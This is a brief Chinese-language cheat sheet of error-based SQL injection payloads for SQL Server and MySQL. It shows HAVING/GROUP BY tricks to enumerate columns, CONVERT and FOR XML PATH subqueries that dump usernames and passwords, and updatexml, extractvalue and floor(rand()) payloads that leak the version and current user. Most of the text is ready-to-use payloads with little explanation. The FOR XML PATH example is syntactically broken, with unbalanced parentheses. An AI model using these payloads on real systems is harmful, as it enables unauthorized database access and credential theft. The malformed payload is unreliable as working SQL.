SQLServer
一、利用錯誤消息提取信息
輸入 'having 1=1 --(having一般要與group by一起來使用,group by是用來進行分組的,having后面是用來進行判斷的),如果網站存在使數據庫回顯到頁面上,那么可以通過頁面的回顯得到一些想要的數據庫字段。通過一次次錯誤回顯來查詢出當前表的所有列名(直到沒有錯誤為止)。
'having 1=1 --
'group by 爆出來的字段 having 1=1 --
二、利用數據類型提取數據
如果試圖將一個字符與非字符比較,或者將一個字符串轉換為另一個不兼容的類型時,那么SQL編輯器將會拋出異常:
TOP關鍵字在SQL語言中用來限制返回結果集中的記錄條數;詳細請點我
select * from users where username='root' and password='password' and 1 > (select top 1 username from users where username not in ('root'))
如果不嵌入子查詢,也可以使數據庫報錯,這就用到了SQLServer的內置函數CONVERT或者CASE函數,這兩個函數的功能是:將一種數據類型轉換為另一種數據類型)例如:
select * from user where username='root' and password='root' and 1=convert(int,(select top 1 users.username from users))
如果感覺遞歸麻煩,可以通過使用FOR XML PATH語句查詢的數據生成XML:
select * from users where username='root' and password='root' and 1=CONVERT(int,select stuff(select ',' + users.username, '|' + users.password from users for xml path(' ')),1,1,' ')))
MySQL
在SQLServer中通過報錯會回顯一些錯誤信息,在Mysql中卻沒有提示錯誤消息;但是可以通過其他方式進行提取:
通過updatexml函數:select *from message where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);
通過extractvalue函數:select * from message where id=1 and extractvalue(1,concat(0x7c,(select user())));
通過floor函數:select * from message where id=1 union select * from (select count(*), concat(floor(rand(0)*2),(select user())) a from information_schema.tables group by a)b